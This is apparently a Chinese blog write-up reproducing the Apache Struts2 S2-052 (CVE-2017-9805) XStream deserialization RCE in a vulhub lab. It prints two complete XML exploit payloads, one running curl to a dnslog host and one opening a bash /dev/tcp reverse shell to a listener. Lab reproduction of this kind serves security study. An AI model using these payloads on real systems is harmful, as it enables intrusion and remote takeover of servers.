CVE-2017-9805 S2-052远程代码执行漏洞
2023-02-18 16:38:47 时间
1 漏洞信息
漏洞名称 | 远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2017-9805 |
危害等级 | 高危 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Struts2 |
受影响版本 | 2.1.2 <= Struts2 <= 2.3.33,2.5 <= Struts2 = 2.5.12 |
漏洞概述 | REST plugin是其中的一个处理传入URL请求的插件。 攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。 |
2 环境搭建
2.1 环境概述
- Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-052
docker-compose up -d
访问http://192.168.146.158:8052/orders.xhtml
3 漏洞复现
由于该漏洞是无回显的,所以需要我们使用dnslog进行判断。http://www.dnslog.cn/
添加一个恶意payload,并且修改Content-Type为xml。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>curl</string>
<string>http://fjw7qo.dnslog.cn</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
发现有数据,说明该漏洞成功执行了curl http://fjw7qo.dnslog.cn
,对我们申请的dnslog进行了访问。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
注意:需要把&符号更改为&
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
访问漏洞url并且添加恶意payload进行抓包。
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
攻击机进行监听,然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案:升级至比受漏洞影响的更高版本。
相关文章
- JDK19都出来了~是时候梳理清楚JDK的各个版本的特性了【JDK13特性讲解】
- Discourse 本地开发环境时候出现代理错误
- 在 Ubuntu 上安装 Discourse 开发环境
- SpringBoot实战:整合Swagger3实现在线Api文档
- RabbitMQ:基础概述
- 【C语言进阶】使用memcpy你需要注意的一个问题
- MyBatis详解(二)
- 新华三防疫绿码通解决方案
- 数字城市运营中心方案
- 新型智慧城市-新型基础设施建设综合方案
- 商业银行企业级IT架构规划
- 智慧医院解决方案
- 智能制造整体解决方案
- 中国数字化转型与创新评选(2018-2021)四年对标洞察报告
- 新时代数字政府建设与发展若干思考
- 政府大数据资源中心建设思路与方案
- 云原生架构安全白皮书(2021年)
- 银行大厦智能化系统深化设计方案
- 密码算法发展及密码测评要求解读
- 数字中台技术白皮书